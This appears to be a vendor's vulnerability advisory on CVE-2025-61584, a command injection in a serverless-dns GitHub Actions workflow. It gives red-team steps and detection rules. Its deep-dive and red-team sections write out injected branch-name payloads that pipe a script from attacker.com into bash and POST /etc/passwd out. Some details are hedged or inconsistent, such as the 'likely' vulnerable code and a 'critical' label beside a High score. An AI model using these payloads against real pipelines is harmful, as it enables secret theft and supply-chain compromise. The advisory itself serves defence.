CVE-2025-61584
Executive Summary
CVE-2025-61584 is a critical command injection vulnerability in the serverless-dns project, a RethinkDNS resolver that deploys to Cloudflare Workers, Deno Deploy, Fastly, and Fly.io. The vulnerability exists in the pr.yml GitHub Action, which uses the pull_request_target trigger. This trigger grants the action elevated permissions and runs in the context of the base repository, not the forked PR. The action unsafely interpolates untrusted inputs (github.event.pull_request.head.repo.clone_url and github.head_ref) directly into a shell command. An attacker can exploit this by submitting a malicious pull request from a forked repository, causing the runner to execute arbitrary commands. The impact includes unauthorized data exfiltration, code execution, and potential compromise of the entire repository and its secrets.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is a supply chain risk because it targets the CI/CD pipeline of the serverless-dns package. An attacker who successfully exploits this can inject malicious code into the repository, which would then be distributed to end-users via the npm package. The compromised package could execute arbitrary code on end-user systems, steal credentials, or deploy backdoors. The attack vector is through a GitHub pull request, making it a classic example of a poisoned pipeline execution (PPE) attack.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector (AV): Network (N) – The attack is initiated over the network via a pull request.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply submits a malicious PR.
- Privileges Required (PR): None (N) – The attacker does not need any prior access to the repository.
- User Interaction (UI): Required (R) – A maintainer must trigger the workflow by opening or synchronizing a PR.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same (the CI runner).
- Confidentiality (C): High (H) – Secrets and repository data can be exfiltrated.
- Integrity (I): High (H) – Arbitrary code can be injected into the repository.
- Availability (A): High (H) – The CI/CD pipeline can be disrupted or used for denial of service.
Threat Level: Critical. The vulnerability is easy to exploit, requires no privileges, and has a high impact on confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability is a classic command injection in a GitHub Action workflow. The pr.yml file uses the pull_request_target event, which is designed to allow workflows to run with full write permissions and access to repository secrets, even from forked PRs. This is intended for safe operations like labeling or commenting, but it becomes dangerous when untrusted input is used in commands.
The vulnerable line in pr.yml likely looks like:
- name: Checkout PR
run: git clone ${{ github.event.pull_request.head.repo.clone_url }} /tmp/pr
Or similar, where clone_url is directly interpolated into a shell command. An attacker can set clone_url to a value like:
https://github.com/attacker/malicious-repo.git; curl http://attacker.com/steal.sh | bash
When the workflow runs, the shell interprets the semicolon and executes the attacker's payload. The head_ref (branch name) can also be used for injection.
The pull_request_target trigger runs in the context of the base repository, meaning it has access to secrets like GITHUB_TOKEN with write permissions. This allows the attacker to push arbitrary code, modify releases, or exfiltrate secrets.
Vulnerable vs. Patched Code
Vulnerable Code (pr.yml, <= 0.1.30):
name: PR Check
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout PR
run: |
git clone ${{ github.event.pull_request.head.repo.clone_url }} /tmp/pr
cd /tmp/pr
git checkout ${{ github.head_ref }}
Patched Code (commit c5537dd):
name: PR Check
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout PR
uses: actions/checkout@v4
with:
repository: ${{ github.event.pull_request.head.repo.full_name }}
ref: ${{ github.head_ref }}
token: ${{ secrets.GITHUB_TOKEN }}
The patch replaces the unsafe git clone command with the actions/checkout action, which safely handles untrusted inputs and prevents command injection. The actions/checkout action uses the repository and ref parameters in a controlled manner, avoiding shell interpolation.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A GitHub account.
- A forked repository of
serverless-dns.
Steps:
- Fork the repository: Fork
serverless-dnsto your own GitHub account. - Create a malicious branch: Create a branch with a name that contains a payload, e.g.,
"; curl http://attacker.com/exfil.sh | bash #. - Modify the clone URL: In the pull request, set the
head.repo.clone_urlto a malicious value. This can be done by creating a repository with a custom clone URL (e.g., using a URL shortener or a repository with a name containing special characters). Alternatively, the attacker can use thehead_reffor injection. - Submit a pull request: Open a PR from your malicious branch to the base repository.
- Wait for execution: When a maintainer triggers the workflow (e.g., by opening or synchronizing the PR), the payload executes on the runner.
Example Payload (in branch name):
"; echo "malicious code" > /tmp/pwned; curl -X POST -d @/etc/passwd http://attacker.com/steal #
Impact:
- Exfiltrate secrets (
GITHUB_TOKEN, AWS keys, etc.). - Push malicious code to the repository.
- Modify releases or tags.
- Deploy backdoors to end-users.
Blue Team (Defender)
Detection:
- Monitor GitHub Actions logs for unusual commands or shell injections.
- Look for PRs from unknown forks with suspicious branch names or clone URLs.
- Use GitHub's security features like
pull_requestinstead ofpull_request_targetwhen possible.
Prevention:
- Avoid using
pull_request_targetunless absolutely necessary. - If
pull_request_targetis required, never interpolate untrusted input into shell commands. - Use
actions/checkoutwith explicitrepositoryandrefparameters. - Implement branch protection rules and require approval for PRs from forks.
Lab Setup:
Clone the vulnerable repository:
git clone https://github.com/serverless-dns/serverless-dns.git cd serverless-dns git checkout v0.1.30Set up a local GitHub Actions runner:
- Follow GitHub's guide to set up a self-hosted runner.
- Configure the runner to use the vulnerable
pr.yml.
Simulate the attack:
- Create a fork and a malicious PR as described above.
- Observe the runner logs for command execution.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com). - Unusual HTTP POST requests containing repository secrets.
- Outbound connections to attacker-controlled domains (e.g.,
- File System:
- Unexpected files in
/tmp/or the runner's workspace. - Modified files in the repository after a PR is merged.
- Unexpected files in
- GitHub Activity:
- PRs from unknown forks with suspicious branch names (e.g., containing shell metacharacters).
- Unusual commits pushed by the
github-actionsbot.
- Logs:
- GitHub Actions logs showing commands like
curl,wget, orbashin thegit clonestep. - Error messages indicating command injection (e.g., "command not found: ;").
- GitHub Actions logs showing commands like
Detection Engineering
YARA Rule
rule CVE_2025_61584_CommandInjection {
meta:
description = "Detects command injection patterns in GitHub Actions YAML files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61584"
strings:
$injection1 = /git clone \${{.*}}/
$injection2 = /git checkout \${{.*}}/
$trigger = "pull_request_target"
condition:
$trigger and ($injection1 or $injection2)
}
Sigma Rule
title: CVE-2025-61584 Command Injection in GitHub Actions
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts in GitHub Actions logs
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains:
- 'git clone'
- 'git checkout'
CommandLine|re: '.*\${{.*}}.*'
condition: selection
falsepositives:
- Legitimate use of actions/checkout
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61584 Command Injection Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/steal"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update to patched version: Upgrade to
serverless-dnsversion 0.1.31 or later as soon as it is released. - Apply the patch manually: If you cannot upgrade, apply commit
c5537ddto yourpr.ymlfile. - Disable the vulnerable workflow: Temporarily disable the
pr.ymlworkflow until the patch is applied.
Long-term Mitigations:
- Use
pull_requestinstead ofpull_request_target: Thepull_requestevent runs with limited permissions and does not have access to secrets. - Sanitize inputs: If
pull_request_targetis necessary, use GitHub's built-in functions likegithub.event.pull_request.head.repo.full_nameinstead ofclone_url. - Implement least privilege: Ensure that the
GITHUB_TOKENused in workflows has the minimum required permissions. - Monitor CI/CD pipelines: Regularly audit GitHub Actions workflows for insecure patterns.
Valters IT Signature
This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For more information, visit https://valters-it.com.